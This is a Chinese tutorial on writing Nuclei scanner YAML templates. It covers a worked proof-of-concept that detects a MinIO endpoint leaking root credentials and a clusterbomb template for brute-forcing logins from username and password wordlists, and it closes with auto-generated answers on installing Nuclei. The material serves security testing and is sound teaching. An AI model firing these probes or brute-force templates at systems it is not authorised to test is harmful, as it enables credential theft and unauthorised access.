nuclei 工具

Nuclei是一款由GO语言编写的扫描器,它内置大量poc模板,并且也可以自己编写模板。同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。

nuclei

项目地址:https://github.com/projectdiscovery/nuclei/

一、 工作流程

1. 模板编写

2. 批量跑目标

二、模板格式

nuclei只支持yaml文件格式的模板,这里就不赘述yaml文件格式的标准了,不懂的同学可以单独出一期细讲。所以这里的话就只介绍怎么写。


在nuclei的yaml模板中,大概可以分为四部分。

1. id: # 模板的唯一ID,注意不能有空格
2. info: # 编写者的描述或是其他基础信息
3. 网络请求方法:
4. matchers: # 匹配器

三、模板编写

1.id

id指模板的唯一id,一般以该yaml文件的功能命名。假设我这里以minio信息泄露漏洞作为样例,这个地方就写minio-info-leak。

2.info

info这个模块会提供一些信息块,这些信息块都是一些固定的参数。例如:name、author、severity、description、reference。也可以使用tags参数自定义标签。

name:  # 名称
author: # 作者
severity:  # 危害程度
description: # 描述
reference: # 参考链接

3.网络请求方法

在nuclei中支持两种网路请求方法,第一种就是基础请求。基础请求就是每一个请求头都要单独定义,首先要定义请求方法,例如我这里演示的漏洞就是POST请求

http:
    - method: POST

路径

path:
  - "{{BaseURL}}/admin"

请求头

headers:
  # Custom user-agent header
  User-Agent: Some-Random-User-Agent
  # Custom request origin
  Origin: https://google.com

请求体

body: "admin=test"

第二种网络请求方式就是原始的数据包请求。raw,这种方式可以将整个完整的数据包写在raw里面,不需要每一个都单独定义。如下:

requests:
  - raw:
      - |
        POST :9000/minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla
        Accept: */*
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close

4.匹配器

匹配器使用matchers,如果有多个条件默认选择器为or。matchers的子参数有很多,下面以代码段的形式表示。如果想以and作为选择器需要在matchers前面加上一行:matchers-condition: and。例如我这里就以响应包的状态码和响应体的某一字段作为条件。

matchers-conditions: and
matchers:

matchers的子标签。首先是- type:

status # 匹配响应码
- type: status       #  匹配响应码为200的
    - 200        
word # 匹配关键词
- type: word
   words:
   - "minio"

5.字典

在变量中如果想要使用字典可以使用§pass§或者{{pass}}都可以表示变量。在给变量定义字典的时候需要选择测试方法,默认只能用一个参数,如果想使用多个参数需要加参数attack: clusterbomb
如下样例:

requests:
  - raw:
      - |-
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

        Username={{admin}}&Pw={{pass}}
    payloads:
      admin: user.txt
      pass:  pass.txt
    attack: clusterbomb        # 多对多
    matchers-condition: and
    matchers:
      - type: status
        status:
         - 200

四、POC编写

minio信息泄露POC编写,这里我直接使用第一一种方法。

id: minio-secert-leak
info: 
    author: M1key
    name: minio-secert-leak
    severity: medium   # low   high  
    description: leak username and passwd in 9001
    reference:  https://www.whalwl.com

requests:
    - method: POST
      path: 
       - "{{BaseURL}}:9000/minio/bootstrap/v1/verify"
      headers:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
      body: "  "
      matchers-condition: and
      matchers:
        - type: status
          status:
            - 200
        - type: word
          words:
            - "MINIO_ROOT_PASSWORD"
            - "MINIO_ROOT_USER"

到此,一个简单的POC就完成啦!接下来我们只需要再去调用这个yaml文件就可以了。我们需要先检验我们所写的yaml文件是否正确。如图即为正常,否则需要自己去找找哪里写错了,还有一点就是nuclei对缩进非常严格。

nuclei.exe  -t   minioc.emby   -validate # 检测文档有效性。

nuclei.exe -t minioc.emby -u  #    指定单个url    
nuclei.exe -t minioc.emby  -l url.txt  #  批量

如图即为成功!到此一个完整的可批量检测的poc就写好了。

### 回答1: 您可以前往 GitHub 上的 nuclei 项目页面(https://github.com/projectdiscovery/nuclei),点击右上方的 "Clone or download" 按钮,然后选择 "Download ZIP" 下载项目的压缩文件。下载完成后,您可以解压文件并通过命令行或终端进入 nuclei 目录,运行 `./nuclei` 命令来使用它。 请注意,在使用 nuclei 前,您可能需要安装一些先决条件,详见 nuclei 项目页面上的说明。 ### 回答2: 要下载Nuclei,您可以按照以下步骤进行操作: 首先,打开您的Web浏览器,然后访问Nuclei的官方GitHub页面。 在该页面上,您可以找到一个绿色的按钮,上面写着“Code”。点击这个按钮会打开一个下拉菜单。 在下拉菜单中,选择“Download ZIP”选项。这将下载Nuclei的压缩文件到您的计算机上。 一旦下载完成,您可以将压缩文件解压缩到您选择的位置。您可以使用系统自带的解压缩工具或第三方压缩工具来完成此操作。 解压缩后,您将在文件夹中找到Nuclei的源代码和一些其他文件。 在您解压缩的文件夹中,您可以找到一个名为“nuclei.exe”的可执行文件(Windows系统)或“nuclei”的可执行文件(Mac和Linux系统)。这是Nuclei的主要执行文件。 现在,您可以打开命令行终端,并导航到解压缩的Nuclei文件夹所在的位置。 在命令行终端中,您可以运行nuclei可执行文件,根据需要使用适当的参数和选项。 通过这些步骤,您可以下载和使用Nuclei工具来进行网络安全测试和漏洞扫描。请确保在使用任何安全工具之前确保了解并遵守适用法律和道德规范。 ### 回答3: "Nuclei"是一个开源程序扫描器,用于发现和确认Web应用程序中的漏洞。要下载"Nuclei",请按照以下步骤进行操作: 1. 首先,在你选择运行程序的计算机上打开一个终端或命令提示符窗口。 2. 确保你的计算机上已经安装了Golang,并且其版本应该大于等于1.16。你可以在命令行中输入命令"golang version"来检查Golang的版本。 3. 接下来,在终端或命令提示符窗口中运行以下命令来下载"Nuclei": ``` go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei ``` 4. 这将自动从GitHub存储库上下载"Nuclei"的最新版本。 5. 下载完成后,你可以在终端或命令提示符窗口中输入命令"nuclei -h"来验证是否成功安装了"Nuclei"。如果它显示了"Nuclei"的帮助菜单,则表示安装成功。 现在,你已经成功下载并安装了"Nuclei"。你可以通过编写自定义的扫描脚本,并使用"Nuclei"来扫描Web应用程序,以发现并确认其中存在的漏洞。记得随时将"Nuclei"保持更新,以获取最新的功能和安全修复。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值